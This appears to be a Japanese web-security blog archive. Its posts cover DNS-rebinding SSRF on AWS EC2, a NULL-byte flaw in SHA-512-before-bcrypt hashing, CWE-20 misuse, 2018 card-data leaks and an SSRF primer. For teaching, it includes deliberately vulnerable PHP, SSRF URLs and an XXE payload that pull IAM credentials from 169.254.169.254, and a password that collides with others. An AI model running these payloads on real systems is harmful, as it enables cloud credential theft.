2019年3月4日月曜日

EC2上でDNS RebindingによるSSRF攻撃可能性を検証した

AWS EC2環境でのDNS Rebindingについて検証したので紹介します。
まずは、「前回までのおさらい」です。先日以下の記事でSSRF攻撃およびSSRF脆弱性について紹介しました。
この記事の中で、以下のように紹介しました。
ホスト名からIPアドレスを求める際にも以下の問題が発生します。
  • DNSサーバーが複数のIPアドレスを返す場合の処理の漏れ
  • IPアドレスの表記の多様性(参考記事)
  • IPアドレスチェックとHTTPリクエストのタイミングの差を悪用した攻撃(TOCTOU脆弱性)
  • リクエスト先のWebサーバーが、攻撃対象サーバーにリダイレクトする
上記のTOCTOU(Time of check to time of use)問題は、DNSの名前解決の文脈ではDNS Rebindingとも呼ばれます。
DNS Rebinding攻撃についてはインフラ側で対策が取られている場合もあります。そこで、EC2上のウェブサイトにて、DNS RebindingによるSSRF攻撃が可能か検証してみました。
攻撃対象のスクリプトを以下に示します。これは先日の記事のスクリプトを改修したもので、クエリ文字列urlで指定したURLのコンテンツを読み出し、表示するものです。IPアドレスのチェックを追加し、表示系を簡略化しています。
<?php
  header('Content-Type: text/plain');
  $url = $_GET['url'];
  $urlinfo = parse_url($url);
  $host = $urlinfo['host'];     // URLからホスト名を取り出し
  $ip = gethostbyname($host);   // 接続先IPアドレスを取得
  echo "Target IP : $ip\n";     // 接続先のIPアドレスを表示
  if ($ip == "169.254.169.254") {
    die("Invalid host $host");  // IPアドレスが169.254.169.254ならエラー
  }
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $_GET['url']);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  $body = curl_exec($ch);
  echo $body;
  $prime_ip = curl_getinfo($ch, CURLINFO_PRIMARY_IP);
  echo "\nActual IP : $prime_ip\n";  // 実際のIPアドレスを表示 
このスクリプトは、DNS Rebinding以外にもいろいろ駄目ですが、とりあえず接続先のIPアドレスが169.254.169.254でないことは確認しています。これを以下のIPアドレスで実行すると

http://ホスト名/ssrf.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/test-role

以下のようにエラーになります。
Target IP : 169.254.169.254
Invalid host 169.254.169.254

DNS Rebinding

ようやくDNS Rebindingの説明です。攻撃対象が下図のWeb Applicationだとします。図の右側のDNS Contents Server(DNS権威サーバー)は、接続先のドメイン名を管理しているDNSサーバーで、実は攻撃者が管理している想定です(example.jpは例示用のドメイン名です)。


この状態で、先のサンプルスクリプトでurl=http://evil.example.jp/... を指定した場合、通常ケースでは以下のように名前解決されます。

上図のように、gethostbynameとcurl_execの双方で名前解決が発生しますが、DNSキャッシュサーバーのキャッシュが残存していれば、2回目の名前解決の際には、DNSコンテンツサーバーには問い合わせずにDNSキャッシュサーバーがキャッシュの値を返します。
そこで、DNSコンテンツサーバー(権威サーバー)側がTTL=0としてAレコードを返し、Aレコードの要求毎に異なるIPアドレスを返す攻撃がDNS Rebinding攻撃です。その様子を下図に示します。

DNSコンテンツサーバーがTTL=0でAレコードを返すので、DNSキャッシュサーバーは問い合わせがある度にDNSコンテンツサーバーにAレコードを問い合わせます。そして、最初の問い合わせでは無害なIPアドレス(203.0.113.5)を返し、二度目の問い合わせでは169.254.169.254(EC2インスタンスの設定を返すIPアドレス)を返しています。このようにして、IPアドレスのチェックをすり抜ける攻撃手法がDNS Rebinding攻撃です。
上図を見る限りいかにも成功しそうですが、実際にはキャッシュサーバーの仕様などに依存します。DNS Rebinding対策その他を目的として、キャッシュサーバー側でTTLを超えてキャッシュを保持するDNS Pinningを実施している可能性があるからです。

試してみる

簡易的なDNSコンテンツサーバーを書いて、上記攻撃を試してみました。このDNSサーバーは、上図の通り、1回目の応答ではAレコードとして 203.0.113.5 を返し、2回目以降は 169.254.169.254 を返します。その結果、以下のようにSSRF攻撃に成功しました。
Target IP : 203.0.113.5
{
  "Code" : "Success",
  "LastUpdated" : "2019-03-03T08:00:51Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIAxxxxxxxxxxxxxxxx",
  "SecretAccessKey" : "zCc1sxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
  "Token" : "FQoGZXIvYXxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx...
  "Expiration" : "2019-03-03T14:30:31Z"
}
Actual IP : 169.254.169.254 
gethostbynameの時点では、アクセス対象のIPアドレスは 203.0.113.5 (Taget IPとして表示)でしたので、事前のIPアドレスチェックはかいくぐっていることがわかります。
Actual IPは、curlが実際にアクセスしたIPアドレスであり、169.254.169.254となっています。

対策

DNS Rebinding攻撃を前提としない条件でも、接続先のURLについて以下のチェックが必要です。
  • プロトコル(スキーム)が http か https のいずれかである
  • 接続先ホストに紐づくIPアドレスが禁止されたものでない
そして、IPアドレスのチェックがそもそも容易でないことはSSRF徹底入門にも書きました。加えて、DNS Rebinding攻撃の対策もやっかいです。gethostbyname関数の呼び出しに代えてdns_get_record関数等によりDNSクエリを実行して、TTLを確認することは可能ですが、正常系でもTTLが 0 になることはあり得るので、リトライなどの複雑な処理が必要になります。処理が複雑になると、それ自体が脆弱性の原因になるので、ちょっとやりたくない実装です。

先のスクリプトでは、PHPのcurl実装で使用できるCURLINFO_PRIMARY_IPを利用して、「実際に接続したホストのIPアドレス」を表示しています。攻撃によるリスクが情報漏えいのみである場合は、このIPアドレスを検証して、許可されていない場合はエラーにすることで漏洩を回避できます。ただし、これで完全な対策になるかは、徳丸自身は検証していません。

いっそのこと…ということで、外部コンテンツの取得をPROXY経由にするという対策があります。PROXYなら、接続先のホワイトリストやブラックリストによる制限は容易だからです。これだと、DNS Rebinding以外の対策も同時に行えます。

PROXYサーバーを用意するほどでもない…というケースでは、Amazonが推奨しているiptablesによる対策が考えられます。先の記事でも引用しましたが、再掲します。
sudo iptables --insert FORWARD 1 --in-interface docker+ --destination 169.254.169.254/32 --jump DROP
Amazon ECS コンテナインスタンスの IAM ロール - Amazon Elastic Container Service より引用
詳しくは、上記ドキュメントを参照ください。

補足

DNS Rebindingの一般的な対策(アクセスされる側)は以下のいずれかを実装することです(両方でもよい)。
  • Hostヘッダの検証(参考
  • 適切な認証とアクセス制御
AWSの 169.254.169.254 は両者のどちらもやっていないことはイケテナイと個人的には思います。仮に Host ヘッダがIPアドレス以外のケースをエラーにしておけば、DNS Rebinding攻撃でここから情報を盗むことはできません。今更変更は難しいかもしれませんが、ここはチェックしていただきたかったですね。

まとめ

DNS RebindingによるSSRF対策回避について説明しました。要約すると、「やってみたらできました」ということです。SSRF脆弱性の対策は難しいので、任意URLを受け取る仕様そのものを見直すか、本稿で紹介したPROXYあるいはiptablesによる対策を推奨します。

2019年2月25日月曜日

bcryptの72文字制限をSHA-512ハッシュで回避する方式の注意点

宅ふぁいる便から平文パスワードが漏洩した件を受けて、あらためてパスワードの安全な保存方法が関心を集めています。現在のパスワード保存のベストプラクティスは、パスワード保存に特化したハッシュ関数(ソルトやストレッチングも用いる)であるbcryptやArgon2などを用いることです。PHPの場合は、PHP5.5以降で使用できるpassword_hash関数が非常に便利ですし、他の言語やアプリケーションフレームワークでも、それぞれ用意されているパスワード保護の機能を使うことはパスワード保護の第一選択肢となります。

なかでもbcryptは、PHPのpassword_hash関数のデフォルトアルゴリズムである他、他の言語でも安全なハッシュ保存機能として広く利用されていますが、パスワードが最大72文字で切り詰められるという実装上の特性があり、その点が気になる人もいるようです(この制限はDoS脆弱性回避が目的です)。
72文字による切り詰めを回避するためのアイデアとして、bcryptに与えるパスワードを前処理としてSHA-512ハッシュを求めてbcryptの入力とする方法を見かける場合があります。疑似コードで書くと以下となります。

$hash = bcrypt(sha512($password));  // パスワードをSHA-512ハッシュを求めた後bcryptで処理する
今までは個人ブログ(これなど)で見かける程度でしたが、弊社のお客様から、Dropboxのパスワード保存方式がこれだと教えていただきました。
以下はDropboxで採用している方式の模式図です(上記ブログ記事より引用)。


この図から分かるように、SHA-512→bcrypt→AES256(暗号化)と3段階の処理が入っていることになります。過剰なまでにパスワード保護が入っている背景には、Dropboxは以前パスワード情報を漏洩している「前科」があるからかもしれません。
Dropboxが採用している方式ということで、自分(自社)でもこの方式を採用しようと思う人がいるかもしれませんが、このSHA-512とbcryptを二重に適用するという方法は重大な落とし穴があるため、筆者としては、素直にbcryptのみを使うことを推奨します。以下、その落とし穴について説明します。

SHA-512→bcrypt方式の詳細検討

SHA-512ハッシュは、その名前の通り512ビットすなわち64バイトのハッシュ値が生成されますが、多くの場合16進数文字列の形で用いられます。その場合は128バイト長となり、bcryptにより72文字に切り詰めされます。これだとかなりの情報が失われますし、そもそも切り詰めが嫌で始めたことなのに、半分近くの情報が失われるのでは何をやっているのかという気分になるでしょう。同様に、base64エンコードしても88バイト長なので、切り詰めが発生することには変わりません。
このような事情から、先に紹介した個人ブログ記事では、SHA-512のバイナリ形式をbcryptにパスワードとして与える実装になっています。バイナリ形式だと64バイトですから、「切り詰め」の対象にはならないはずです。

すなわちPHPの場合、以下のような実装です。
// ハッシュ値の生成
$sha512 = hash('sha512', $password, true);    // true はバイナリの指定
$hash = password_hash($sha512, PASSWORD_DEFAULT);
// パスワードの照合
$sha512 = hash('sha512', $password, true);    // true はバイナリの指定
$result = password_verify($sha512, $hash);

PHPのbcrypt実装はバイナリセーフでない

ここで問題が生じます。PHPのbcrypt実装はオペレーティングシステムのcrypt(3)ライブラリに依存しており、NULLターミネート形式の文字列でパスワードを受け取ります。すなわち、bcryptは72文字の切り詰め問題に加えて、「バイナリセーフでない」という仕様上の制約があります。このため、SHA-512ハッシュ(バイナリ)中にNULLバイトがあると、そこから先を「切り詰め」してしまうという問題があります。最悪ケースとしては、SHA-512ハッシュの先頭がNULLバイトになる場合で、crypt関数にはゼロ文字のパスワードが指定されることになります。
この性質を持つパスワードの例として下記(8文字、99文字)があります。
Aaaaaa3@
A very loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooong password
以下のように、SHA-512ハッシュの先頭はNULLバイトになります。
$ echo -n Aaaaaa3@ | sha512sum
0011780c00726845802482273be4b2e9329a5d403276b5088fc3e49ca866262632108b32dd2950b680a32eb3808ec9e5710af59c6f6f60f6bbcc9e17098f8685  -

$ echo -n A very loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooong password | sha512sum
00895faa444575854626475e154dcb8407670af59d9be977a0aa855a49702e45b9c2aad59befe77241bf48f870b08c06bcf80726a6887f41689dc1f0ed977506  -
これらは、SHA-512ハッシュの先頭バイトが共にNULLになるので、これらのハッシュ値によるログインでは、相互にパスワードを入れ替えてもログインできるはずです。試してみましょう。
// 長いパスワードでハッシュ値を求める
$password = 'A very loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooong password';
$sha512 = hash('sha512', $password, true);
$hash = password_hash($sha512, PASSWORD_DEFAULT);

// 短いパスワード Aaaaaa3@ で照合する
$password = 'Aaaaaa3@';
$sha512 = hash('sha512', $password, true);
$result = password_verify($sha512, $hash);
var_dump($result);
このスクリプトは true を表示します。すなわち、ログイン成功となります。
ここでは2例のみ示しましたが、SHA-512ハッシュの先頭バイトがNULLとなる確率は1/256ですから、上記方式で実装したログインプログラムでは、任意ユーザーが1/256の確率でパスワード「Aaaaaa3@」で不正ログインできることになります。これはとんでもない大穴ですよね。

ではどうすればよいか

NULLバイトを防ぐ目的であれば、バイナリハッシュ値を255進数に変換し、1~255のバイト値にマップする(base255とでも言いますか)ことで防げます。しかし、そのような複雑な処理を追加することは、バグの原因になり、ひいては脆弱性の要因になります。
なので、bcryptを使う場合は、72文字制限やバイナリセーフでない問題は仕様として受け入れ、そのままで使うことをお勧めします。
先に紹介したDropboxのブログでは、「For ease of elucidation, in the figure and below we omit any mention of binary encoding (base64) (私訳: 説明を簡単にするために、下図および以下の説明では、バイナリエンコーディング(base64)については言及しません)」とあり、base64エンコーディングを採用しているようでもありますが、詳細は不明です。

どうしても、これら制限が受容できない場合は、Argon2などのアルゴリズムを使うことで回避できます。PHPの場合は、以下で実現可能です(PHP 7.2以降)。
$hash = password_hash($sha512, PASSWORD_ARGON2I);   // PHP 7.2以降
$hash = password_hash($sha512, PASSWORD_ARGON2ID);  // PHP 7.3以降
PHPのArgon2実装はcrypt(3)に依存しておらず、72文字制限はなくバイナリセーフであるようです。PHP 7.3以降で使用できるオプションPASSWORD_ARGON2IDは、サイドチャネル攻撃とGPUによるクラッキングの両方の耐性を備えたアルゴリズムです。

まとめ

bcryptとSHA-512ハッシュを組み合わせて使う方式の注意点を説明しました。
私は、拙著「安全なWebアプリケーションの作り方 第2版」で以下のように説明しました。
PHPには、これらの施策をまとめて使いやすくしたpassword_hashという安全で便利な関数があります(PHP5.5.0以降)。極力password_hashを使うことを推奨します。
また、PHPに限らず、パスワード保存機能は独自実装せずに、安全なライブラリやフレームワークの機能を用いることを推奨します。
「独自実装せずに、安全なライブラリやフレームワークの機能を用いる」とは、ライブラリ等を使う際に余計なことをしないということでもあり、本稿で紹介した例は「余計なこと」をやってしまった副作用の例であると考えます。

一般論としても、プログラムは複雑になればなるほどバグが混入しやすくなり、ひいては脆弱性の原因にもなります。プログラムを簡明に保つことは、安全なプログラムを開発する上でも重要だと考えます。

2019年1月15日火曜日

CWE-20入門

サマリ

この記事の想定読者は、企業等の脆弱性ハンドリング担当者です。脆弱性情報にしばしば出てくるCWE-20の読み解き方を説明します。

CWEとは

CWEはCommon Weakness Enumerationの略で、日本語では「共通脆弱性タイプ一覧」と訳されています。この訳からも分かるように、脆弱性をタイプ毎に分類しているものです。つまり、SQLインジェクション、XSS、バッファオーバーフロー等に、CWE-XXXという「分類番号」をふったものと考えるとわかりやすいでしょう。以下は、IPAが公表しているCWEの解説記事からの引用です。
1999年頃から米国政府の支援を受けた非営利団体のMITRE(*2)が中心となり仕様策定が行われ、2006年3月に最初の原案が公開されました。その後、40を超えるベンダーや研究機関が協力して仕様改善や内容拡充が行われ、2008年9月9日にCWEバージョン1.0が公開されました。
共通脆弱性タイプ一覧CWE概説:IPA 独立行政法人 情報処理推進機構 から引用
代表的なCWEは、この記事中の以下の図を見るとわかりやすいと思います。


CWEの特徴の一つは、上図から明らかなように、階層的な分類になっていることです。たとえば、インジェクションCWE-74の下の階層には、XSS、SQLインジェクション、OSコマンドインジェクションなどの著名な脆弱性がぶら下がっていて、これらがインジェクションという共通の脆弱性のタイプに属していることがわかります。

CWE-20とは

本稿のテーマCWE-20は、インジェクションも包含する大分類になっています。先程引用した図からCWE-20関連のみを抽出したものを以下に示します


前述のインジェクションに加えてパストラバーサルなども含まれていますね。すなわち、外部からの入力値に起因する脆弱性がCWE-20としてまとめられています。
それにしても、CWE-20は「不適切な入力確認」(Improper Input Validation)と説明されていますが、これらはバリデーションの問題でしょうか。
そうではありません。パストラバーサルはバリデーションで対策可能ですが、インジェクション系のXSSやSQLインジェクションがバリデーションにより対策できない(完全な対策にならない)ことは明らかです。なのに、どうして、CWE-20は「不適切な入力確認」なのでしょうか。その答えは、本家のCWE-20の解説中にあります。
Some people use "input validation" as a general term that covers many different neutralization techniques for ensuring that input is appropriate, such as filtering, canonicalization, and escaping. Others use the term in a more narrow context to simply mean "checking if an input conforms to expectations without changing it."

CWE - CWE-20: Improper Input Validation (3.2)より引用
私訳を以下に示します。
フィルタリングや正規化、エスケープなど、入力が適切であることを確実にするためのさまざまな無効化手法をカバーする包括的な用語として「入力検証(Input Validation)」を使用する人もいます。他の人達は、より狭い文脈、すなわち、単に「入力を変更することなく、期待される値であることを確認する」という意味でこの用語を用います。
ということで、Input Validationはエスケープやフィルタリングを含む包括的な用語として使われる場合があることがわかります。CWE-20のInput Validationはこちらの意味でしょう。そうでないと、SQLインジェクションやXSS等をカバーする理由を説明できません。

CWE-20は大分類のはずなのに、個別脆弱性がしばしばCWE-20とされる

ここまで、CWE-20は脆弱性の大分類と説明しましたが、現実には個別の脆弱性がCWE-20と分類されるケースが多くあります。以下は、JVN iPediaで、CWE-20かつCVSSv2で7.0以上の脆弱性を検索した結果です。


CWE-20が大分類だとすると、個別脆弱性がCWE-20に分類されるのはおかしいですね。上記はどのようなものなのでしょうか。そこで、以下、この日記で過去に紹介した脆弱性の中からCWE-20とされているものを2件紹介して、CWE-20の実態に迫ります。

CWE-20の例(1)CGI版PHPのRCE脆弱性CVE-2012-1823

以下の記事で紹介した脆弱性です。

CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823)

PHPがCGIモードで動いている場合のみですが、外部から任意スクリプト実行可能な凶悪な脆弱性でした。この脆弱性はCWE-20に分類されています。
この脆弱性の原因は、CGIモードの場合クエリ文字列にスペース区切りで指定した文字列がCGIプログラムのコマンドライン引数として指定される仕様を悪用して、PHPに -s や -d 等のオプションを指定できてしまうところにありました。
この脆弱性のPHPソースコード上の問題は、以下の記事が詳しいです。

CVE-2012-1823 CVE-2012-2311 PHPのCGIモードにおける脆弱性について

この記事にもあるように、脆弱性の根本原因は、CGIモードの場合不要なオプションパラメータの処理が存在すること自体にあります。したがって、脆弱性の対策は、不要なオプションパラメータの処理を除去することであり、入力バリデーションを追加することではありません。

CWE-20の例(2)Joomla!のRCE脆弱性CVE-2015-8562

以下の記事やスライドで紹介した脆弱性です。やはり、CWE-20と分類されています。

Joomla!の「ゼロデイコード実行脆弱性」はPHPの既知の脆弱性が原因
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに | slideshare

この脆弱性に対する攻撃は、もはや芸術的と表現しても良いくらいの高度なものです。以下の3つのソフトウェアの脆弱性および好ましくない仕様を組み合わせています。詳しくは上記の記事を参照ください。

Joomla! : CVE-2015-8562
PHP : CVE-2015-6835
MySQL : utf8_general_ci 指定した列にutf8の4バイト形式の文字を追加すると、その文字以降が切り詰められる仕様

そして、私自身は、この攻撃の根本原因はCVE-2015-6835(CWE-416: Use After Freeに分類)と考えています。攻撃全体としては、安全でないデシリアライゼーション(CWE-502)に該当します。
Joomla! のCVE-2015-8562は何がいけなかったかというと、Joomla!はセッションストレージとしてMySQLを利用していて、その結果、PHPのシリアライズ後のセッション情報をMySQLに格納しているのに、シリアライズ結果がバイナリとなる点を十分に考慮しておらず、utf8_general_ciという型を使用していたところにあります。
Joomla!側の対処としては、緊急対処として攻撃経路となるUser-Agentその他のHTTPヘッダをセッションに格納することをやめ、根本対策としてシリアライズ後のセッション情報をBase64エンコードしてから格納するようにしています。やはり、入力バリデーションを追加したわけではありません。

CWE-20の現実の使われ方

上記で紹介した2つの脆弱性は、いずれも狭義のバリデーションが主原因ではないのに、CWE-20が割り当てられていました。これらは、適当なCWEがないので、「とりあえず外部入力が経路なのでCWE-20にしておこう」という感じでCWE-20があてられているものと推測します。脆弱性情報を見ていると、そのようなケースは多く見受けられます。
また、商用製品の脆弱性情報に多い例として、脆弱性があることは公表するが、その詳細は公表したくないケースなどで、脆弱性分類としてCWE-20がわりあてられるケースがあります。先に、JVN iPediaの検索結果を示しましたが、高危険度のCWE-20脆弱性の例の大半が商用製品であることからも、これは伺えます。
現に、CWE-20の解説には以下のように記載されています。
The "input validation" term is extremely common, but it is used in many different ways. In some cases its usage can obscure the real underlying weakness or otherwise hide chaining and composite relationships.
CWE - CWE-20: Improper Input Validation (3.2)より引用
日本語訳としてJVNの訳を以下に引用します。
「入力の妥当性チェック」という用語は極めて一般的ですが、用語の使い方は様々です。いくつかのケースでは、根本的な脆弱性を曖昧にするためや、関連した複雑な事象を隠すことを目的として使われます。
CWE-20 より引用
ということで、CWE-20が使われるケースの多くは、脆弱性公表側の怠慢や隠蔽意図によるケースが多く、悪意がないケースとしては「分類の難しいその他のケース」ということになるかと思います。

まとめ

CWE-20について解説しました。本来、CWE-20は脆弱性パターンの大分類として取り扱うべきと考えますが、現実にはCWE-20とすべきでない局面でもCWE-20が濫用される傾向があります。私は、CWE-20の濫用は正確な脆弱性情報流通の上では有害だと考えています。
もし読者が、脆弱性情報中にCWE-20と記載されているのを見かけたら、「CWE-20では何もわからないではないか」と舌打ちしつつも、そうせざるを得なかった背景についても想いを馳せると、その脆弱性に対する関心が一層高まるのではないでしょうか。

2018年12月31日月曜日

2018年に公表されたウェブサイトからのクレジットカード情報漏えい事件まとめ

エグゼクティブサマリ

2018年に公表されたウェブサイトからのクレジットカード情報漏えい事件をまとめた。同年6月1日に改正割賦販売法が施行後も継続してカード情報漏えい事件は発生しており、カード情報「非保持」に対応した攻撃が目立つ結果となった。

事件の一覧

下表に、本年(2018年)に公表されたウェブサイトからのクレジットカード情報漏えい事件をまとめました。サイト名、漏洩の期間、漏洩件数(最大)、セキュリティコード漏洩の有無、偽決済画面への誘導があったかを記載しています。


サイト名漏洩期間漏洩件数セキュリティコード偽決済画面誘導
C.O.U.オンラインショップ2017/8/5~2017/9/15335漏洩
パレタス オンラインショップ2017/4/27~2017/7/18821漏洩
健康食品通販サイト
(森永乳業株式会社)
2015/1/7~2017/10/1629,773
A-Web 倶楽部「宅配サービス」2017/12/17~2018/3/273,412
プリンスホテル予約サイト~2017/866,960
こうのとり検査薬.NET2017/8/7~2018/1/1811,314漏洩
evameva Online Shop2018/3/7~2018/6/19358漏洩
アサヒ軽金属工業株式会社
「Webショッピングサイト」
2017/1/14~2018/5/2577,198
SOKAオンラインストア」2018/7/30~2018/8/242,481漏洩あり
伊織ネットショップ2018/5/8~2018/8/222,145漏洩あり
ZOWHOW2018/4/25~2018/7/18397漏洩
EDITMODE2018/3/7~2018/7/1114,679漏洩
銀座ウエストオンライン通販サイト2018/9/12~2018/11/2668漏洩あり
DLmarket2018/10/17~2018/11/127,741漏洩あり

セキュリティコードが漏洩する事例が多い

上表からわかるように、セキュリティコードまで漏洩する例が14件中10件と多くなっています。昨年以前でもセキュリティコードが漏洩する事件は継続的に発生しており、以下の記事にまとめたことがあります。

決済代行を使っていてもクレジットカード情報が漏洩するフォーム改ざんに注意

ここでいう「フォーム改ざん」の手口は、以下の記事の「タイプ4」に相当するものです。

クレジットカード情報盗み出しの手口をまとめた

この「タイプ4」が日本で初めて使われたのは、上記記事からもわかるように、2013年3月のJINSオンラインショップ事件です。上表の事件にもタイプ4のものが多いのではないかと予想しますが、はっきりタイプ4と思われるのは、パレタスオンラインショップの事件です。同社のリリースには以下のように記されています。
弊社公式通販サイトのウェブサーバーに外部からの不正アクセスがあり、不正プログラムが仕組まれたためカード会員データが流出したことが判明しております。
不正プログラムがどのようなものか不詳ですが、有力な仮説としては、下図のように入力フォームにJavaScriptが組み込まれ、フォームに入力したカード情報が攻撃者のサイトに転送されていたのではないでしょうか。
また、同社は対策として下記のように書いています。
弊社では、通販サイトにおいて、より信頼性の高い、カード決済代行会社の提供するリンク型システムへの移行を決定しております。また、WEB改ざん検知サービスを導入いたしました。
これら対策は、Type4のカード情報窃取に対して有力な防御策になるものです。

偽決済画面への誘導手口の増加

SOKAオンラインストアの手口は「偽決済画面」に誘導するというものであり、新しい手口だったので以下の記事で詳しく報告しました。

ECサイトからクレジットカード情報を盗み出す新たな手口

さらに、この事件以降、偽決済画面への誘導手口が使用された事件が合計4件発生しています(SOKAオンラインストア事件を含む)。それらのうち2件について以下に説明します。

伊織ネットショップの事例

今治タオルの販売サイト伊織ネットショップの事例は、公式リリースで手口の詳細が公開されていてとても興味深いものです。以下は、正常系の画面遷移です。


【重要】カード情報流出についての、ご質問とご回答 - タオル専門店「伊織」 より引用

そして、以下が攻撃後の画面遷移で、「偽のカード入力画面」が画面遷移に挿入されています。

【重要】カード情報流出についての、ご質問とご回答 - タオル専門店「伊織」 より引用

この画面遷移は、私の目にはいささか「雑」に見えます。カード情報の入力画面は本来「ご注文内容確認」の後に出てくるものですし、オリジナルの画面遷移もそうなっていますが、改ざん後の遷移では、カード入力(偽)→注文内容確認→カード入力(正)と不自然な遷移になっています。ITに詳しい人が使えば不自然さに気づきそうなものですが、しばらくは不自然さに気づかれなかった模様です。
伊織ネットショップの事件では、事件発覚のきっかけは、「2018年8月22日夕方、弊社サイトにおいてフィッシングサイト(偽のクレジットカード番号の入力画面)へジャンプする事象が確認され」(同社リリースより引用)とあるので、前記不自然さにより異常が発覚した可能性はあります。

銀座ウエストの事例

一方、銀座ウエストの事例はさらに巧妙になっています。偽の決済サイトに進むことは同じですが、偽の決済サイトは、「決済代行会社の類似したドメインURL」であったと報告されています。下図は銀座ウェストのリリースからの引用です。


洋菓子舗ウエスト|よくあるご質問と回答 より引用(*1)

通常、偽のサイトは本物そっくり(本物と同一)の画面デザインにしますが、この例ではドメイン名まで本物に似せていたことがわかります。伊織の事件よりも巧妙化しています。

*1 この図は、私のブログ記事の図を参考に、図を現実の事件に合わせて変更したものです。そのため元のブログ記事と図の意匠が類似していますが、私は図版利用の許可をしておりますので権利上の問題はありません。

まとめ・対策

2018年に公表されたウェブサイトからのクレジットカード情報漏えい事件をまとめました。本年後半には、「偽決済画面」への誘導手口が目立つ結果となり、以前SOKAオンラインショップの事件を紹介した際に『紹介した手口は、クレジットカード情報「非保持化」では対策できないものであり、今後のクレジットカード情報漏洩事件の主流となる可能性があります』と書いた通りになりつつあります。
対策としては、先に書いたように、まずは基本的な以下の施策が必須となります。
  • ウェブアプリケーションやソフトウェアライブラリ、プラットフォームの脆弱性対策(パッチ適用など)
  • 管理者等のパスワードを強固にする(可能ならばインターネットからは管理者ログインできないよう設定する)
加えて、以下の対策を推奨します。
  • Web Application Firewall(WAF)の導入
  • ファイルパーミッションとファイルオーナーの適切な設定
  • 改ざん検知システムの導入


2018年12月5日水曜日

SSRF(Server Side Request Forgery)徹底入門

SSRF(Server Side Request Forgery)という脆弱性ないし攻撃手法が最近注目されています。以下は、ここ3ヶ月にSSRFについて言及された記事です。
この「空前のSSRFブーム」に便乗して、SSRFという攻撃手法および脆弱性について説明します。

SSRF攻撃とは

SSRF攻撃とは、攻撃者から直接到達できないサーバーに対する攻撃手法の一種です。下図にSSRF攻撃の様子を示します。

攻撃者からは、公開サーバー(203.0.113.2)にはアクセスできますが、内部のサーバー(192.168.0.5)はファイアウォールで隔離されているため外部から直接アクセスできません。しかし、公開サーバーから内部のサーバーにはアクセスできる想定です。
攻撃者は *何らかの方法で* 公開サーバーから内部のサーバーにリクエストを送信することにより、内部のサーバーを攻撃できる場合があります。これがSSRF攻撃です。

SSRF攻撃の例1

SSRF攻撃に脆弱なサンプルを以下に示します。これは、はてなブックマークのようなソーシャルブックマークの機能のうち、URLを指定してプレビューを表示するというものです。PHPのcurl関数によりHTTPリクエストを送信し、XSS対策のためHTMLPurifierによりHTMLからscriptタグ等を取り除いています。

<?php
  require_once('./htmlpurifier/library/HTMLPurifier.includes.php');
  $purifier = new HTMLPurifier();

  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $_GET['url']);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  $html = curl_exec($ch);
  echo $purifier->purify($html);
下図はAWS EC2上に上記を設置して、徳丸のブログ記事を表示した例です、。


HTMLPurifierの設定を厳しく(安全に)しているのでCSS等が無効になっていますが、記事の内容は取り込めていますね。

次に攻撃例です。EC2のインスタンスからhttp://169.254.169.254/ にアクセスすると、そのインスタンスの設定情報が読み込めるという機能がEC2にあります(ドキュメント)。この機能を悪用して、EC2のクレデンシャルを読み込んでみましょう。
まずは、以下のURLにアクセスしてみます。

/ssrf.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

表示は下記となります。test-roleというロールがあることがわかります。

次に、先程のURLの末尾に test-role を追加した以下のURLでアクセスします。

/ssrf.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/test-role

上記(見やすいようにHTMLソースで表示)のように、外部からEC2インスタンスのクレデンシャルが読み出せました。

SSRF攻撃の例2

次に、XXE脆弱性(CWE-611)を用いてSSRF攻撃をやってみましょう。以下は拙著「体系的に学ぶ安全なWebアプリケーションの作り方」に掲載されているサンプルです。XXEについてはこの記事も参考になります。
<?php
$doc = new DOMDocument();
$doc->load($_FILES['user']['tmp_name']);
$name = $doc->getElementsByTagName('name')->item(0)->textContent;
$addr = $doc->getElementsByTagName('address')->item(0)->textContent;
?><body>
以下の内容で登録しました<br>
氏名: <?php echo htmlspecialchars($name); ?><br>
住所: <?php echo htmlspecialchars($addr); ?><br>
</body>
上記をEC2上のPHPで動かしてみます。Amazon Linuxで標準に用意されている環境では脆弱性が再現しないので、わざと libxml2-2.7.8という脆弱な libxml2 をインストールしました。
攻撃用のXMLは以下となります。3行目が外部実体の定義で、169.254.169.254へのリクエストを含んでいます。
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY credential SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/test-role">
]>
<user>
<name>徳丸浩</name>
<address>&credential;</address>
</user>
これを読み込ませた結果は下図となります。クレデンシャルが読み込まれていることがわかります(時間経過のため先の例とは中身が変わっています)。


SSRF脆弱性(CWE-918)とは

SSRF攻撃の例を2種類紹介しました。これらのうち、例2はXXE脆弱性を悪用したものでした。
それでは、例1の方で悪用されている脆弱性はなんでしょうか? 実は、例1は、SSRF脆弱性(CWE-918)と言われるものです。以下は、SSRF脆弱性の分類を定義しているCWE-918の冒頭の引用です。
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
参考訳
Webサーバーは、上流のコンポーネントからURLまたは類似のリクエストを受け取り、このURLの内容を取得しますが、リクエストが想定される送信先に送られることを十分確実にしていません。
要はURLのチェックが不十分なために読まれてはいけないコンテンツを読まれてしまった、ということで、例1はまさにそのような例になっています。
ということで、例1および例2の「脆弱性と攻撃」の関係は以下の通りです。ややこしいですね。

例1: SSRF脆弱性(CWE-918)を悪用してSSRF攻撃を行う
例2: XXE脆弱性(CWE-611)を悪用してSSRF攻撃を行う

